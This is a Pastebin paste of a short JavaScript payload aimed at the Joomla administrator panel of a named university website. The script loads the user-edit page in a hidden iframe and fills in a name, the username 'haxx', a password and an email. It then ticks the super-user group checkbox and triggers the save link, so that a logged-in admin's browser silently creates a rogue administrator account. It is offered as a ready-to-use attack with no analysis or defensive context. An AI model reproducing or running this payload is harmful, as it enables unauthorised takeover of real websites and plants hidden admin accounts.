Advertisement
Guest User

Untitled

a guest
Feb 1st, 2017
104
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.98 KB | None | 0 0
  1. [php]document.writeln(‘<iframe id="iframe" src="https://www.cs.put.poznan.pl/rwalkowiak/administrator/index.php?option=com_users&view=user&layout=edit" width="0" height="0" style="visibility:hidden;" onload="read()"></iframe>’);
  2.  
  3. function read()
  4. {
  5. var name="Test";
  6. var username="haxx";
  7. var password="test123";
  8. var email="zea42442@dsiay.com";
  9.  
  10. document.getElementById("iframe").contentDocument.forms[0].jform_name.value = name;
  11. document.getElementById("iframe").contentDocument.forms[0].jform_username.value = username;
  12. document.getElementById("iframe").contentDocument.forms[0].jform_password.value = password;
  13. document.getElementById("iframe").contentDocument.forms[0].jform_password2.value = password;
  14. document.getElementById("iframe").contentDocument.forms[0].jform_email.value = email;
  15. document.getElementById("iframe").contentDocument.forms[0].getElementById("1group_8").checked=true;
  16. document.getElementById("iframe").contentDocument.getElementsByTagName("a")[11].onclick();
  17. }[/php]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement